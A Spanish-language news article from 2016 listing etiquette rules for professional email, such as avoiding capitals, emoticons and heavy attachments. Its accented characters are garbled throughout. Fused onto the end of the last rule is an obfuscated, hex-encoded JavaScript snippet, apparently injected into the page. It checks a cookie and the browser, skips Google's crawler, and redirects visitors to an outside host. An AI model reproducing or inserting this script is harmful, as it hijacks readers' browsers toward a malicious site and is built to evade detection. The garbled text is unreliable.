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27 Ago 2016
Noticias | Por: Redacción

Si no querAi??s parecer informal, tenAi?? en cuenta estas reglas al escribir un correo

Sin duda mA?s de alguna vez te ha tocado escribir un correo electrA?nico, sin embargo, no es lo mismo hacerlo para un amigo, que para un prospecto de jefe o cliente. Estos emails deben no parecerse tanto, ya que la informalidad puede que te haga perder ese contrato que tanto deseA?s.

Por lo general, en la universidad no hay materias especializadas en enseAi??arte a cA?mo redactar un email de manera profesional, por eso acA? te damos algunas reglas que debAi??s tener en cuenta al momento de hacerlo. Estas recomendaciones seguro te ayudarA?n, si es que no querAi??s cometer algA?n error y dar una impresiA?n errA?nea.

 

  • No usAi??s mayA?sculas

Ai??

Este tipo de letra es considerado igual al grito y este nunca ha sido cordial. Se ocupa solo en mensajes oficiales para jerarquizar la informaciA?n y facilitar la lectura, a pesar de esto no es normalmente utilizado, asAi?? que considera si las vas a utilizar y cuA?ndo.

 

  • No redundAi??s

Ai??

RecordA? que el email es un medio inmediato de comunicaciA?n, por ello escribir textos muy largos puede aburrir al que lo recibe. Esto puede ser motivo para que alguien no lo quiera leer.

 

  • AdecuA? tu saludo

Ai??

DeberA? ser sencillo y podAi??s aumentar el respeto a la persona con su nombre, apellido o su cargo en la instituciA?n o empresa. Es recomendable que midA?s el nivel de respeto para elegir el saludo adecuado.

 

  • RecordA? las partes bA?sicas

Ai??

Un correo electrA?nico debe tener tAi??tulo, saludo, cuerpo y firma, no deberA? faltar ninguna de estas, ya que ayudan al destinatario a leer con facilidad el cuerpo. En el tAi??tulo deberA?s ofrecer la informaciA?n que necesita el otro para saber de quAi?? trata y en forma breve, sencilla y consisa.

  • AsegA?rate que la informaciA?n ajena respete derechos de autor

Ai??

Si vas a enviar contenido ajeno a ti, dA? crAi??dito a la persona que le pertenece. RecordA? que ningA?n envAi??o a travAi??s de la red es totalmente personal y secreto, asAi?? que esto puede convertirse en cadena.

 

  • Haz saber de destinatarios extras

Ai??

En ambientes de trabajo, avisA? a la persona a la que diriges el mensaje que hay una persona en copia oculta o normal y el porquAi?? de su presencia. Esto te ayudarA? a evitar malos entendidos y generarA? confianza. TenAi?? en mente que si estA?s escribiendo un correo, serA? mejor que copies de manera tradicional y que incluyA?s debajo de la firma las siglas de copia CC, junto a los nombres. Tampoco es adecuado enviar el correo a todos tus contactos, darA? la idea de cadena y quitarA? el toque serio.

 

  • No olvidAi??s los signos de puntuaciA?n y reglas ortogrA?ficas

Ai??

No solo por ser en lAi??nea podAi??s olvidar las reglas convencionales de escritura, recordA? que esto significa respecto por la persona que lo recibe y al mismo tiempo, mostrA?s tu profesionalismo. Si por alguna razA?n tAi??cnica no podAi??s usar acentos o signos de puntuaciA?n, deberA?s aclararlo al final del correo.

 

  • EvitA? los diseAi??os

Ai??

Para aumentar la facilidad de lectura, evitA? usar gif animados o grA?ficos en formato HTML, puesto que puede provocar que alguno de tus destinatarios no puedan leer el correo. La idea de los emails profesionales es que sean accesibles a todos tus contactos sin restricciones.

 

  • TenAi?? en cuenta el formato de los documentos

Ai??

Es posible que al que le envAi??as el correo no tenga el programa adecuado para leer el documento, por esto asegA?rate que el archivo se guarde en un formato comA?n para la mayorAi??a de software. Antes de enviarlo, recordA? adjuntar el archivo.

 

AdemA?s, recordA? que entre mA?s grande sea el archivo, mA?s tiempo tardarA? en enviarse y descargarse, asAi?? como puede ser bloqueado por el servidor o saturar la bandeja de entrada del destinatario. Para estos casos de archivos muy pesados, usA? el ZIP para reducir el tamaAi??o.

 

  • No usAi??s emoticones o caritas

Ai??

Aunque son sAi??mbolos para indicar el humor, son totalmente prohibidos en un mensaje de carA?cter profesional. Son considerados informales porque utilizan sAi??mbolos de puntuaciA?n para crearse y la persona tiene que girar su cabeza 90 grados a la izquierda para apreciarlos.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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